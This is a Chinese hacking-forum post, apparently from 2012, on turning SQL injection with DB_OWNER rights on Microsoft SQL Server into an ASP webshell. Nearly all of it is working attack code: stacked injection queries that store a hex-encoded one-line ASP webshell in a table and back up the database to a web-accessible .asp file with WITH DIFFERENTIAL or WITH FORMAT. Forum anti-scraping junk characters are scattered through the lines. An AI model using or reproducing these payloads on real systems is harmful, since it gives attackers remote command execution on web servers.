找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1959|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:" y- T4 E1 Y2 d" v
% ?9 g, o8 f2 W5 c# |7 \
减少备份文件大小,得到可执行的webshell成功率提高不少% ~( p; K4 X$ U2 u/ t) E. ]
一利用差异备份  w9 W3 y1 [7 `2 O! d
加一个参数WITH DIFFERENTIAL* u1 k# A$ d7 X5 ~% P: s- G

8 T6 h  R" i% w+ s, ?" v1
) \1 p$ I2 R9 ^7 q2- ?4 F& b; h  O
3
3 o0 \5 p$ o( G- R/ }4 P4
/ Y# R4 ^1 K4 N$ n$ C declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
7 A! M  [6 S: Z" o: tcreate table [dbo].[xiaolu] ([cmd] [image]);2 ]0 \& f2 \) p7 Q7 K5 M
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
0 Y7 I  y2 `, ^! `! ]. v4 {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL 2 Q1 X* t+ [: H% K- l; f5 ]
4 X  V! ^' l  D
二利用完全FORMAT
7 I5 o5 ?4 P" G+ \1 l# g1 u加一个参数WITH FROMAT
" g8 c9 T2 v4 W3 Y9 `3 o有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以% I- ~9 N2 u1 S5 Q/ _' l
' K5 j9 g- h8 R0 A: C/ u1 W* I7 E4 n
1
) t* ?4 J) l) C1 E- s1 g2
3 t# X/ j" M/ X0 A7 s- v3
( n+ @! A( B4 z/ t4; D. n8 h7 X* x+ a" k8 l
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
' S. q( {6 w, R) \+ X* ?7 dcreate table [dbo].[xiaolu] ([cmd] [image]);
- f- j/ w1 s/ {insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)% w5 K; |. s% {) \2 k
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT + M) t' m. U" h% ?% K8 S4 U+ N
6 p' k" I; X4 F, c& `! U- q
总的来说就是那么简单几句,下面以备份数据库model为例子
7 v' Y$ Y0 M$ Y1 E3 l/ E8 E1 o1
4 r$ w$ D) M* k! j# p
/ e  K/ m4 k8 d4 b, H1% K7 }! ^+ t8 x
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
. B5 F, N2 M! j' d
- _+ `/ t! ~0 Z* H) C9 M: b2
0 v7 U8 y8 C9 e3 J" S9 ~
, Y5 A1 G! M  @+ G  F3 C$ N8 Z# W/ D1
) B4 ]( {/ |; O3 ]1 s6 |7 `  a' G id=1;backup database model to disk='你的路径‘ with differential,format;-- 2 R9 @6 L8 `  ]/ z, b' X; {) l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表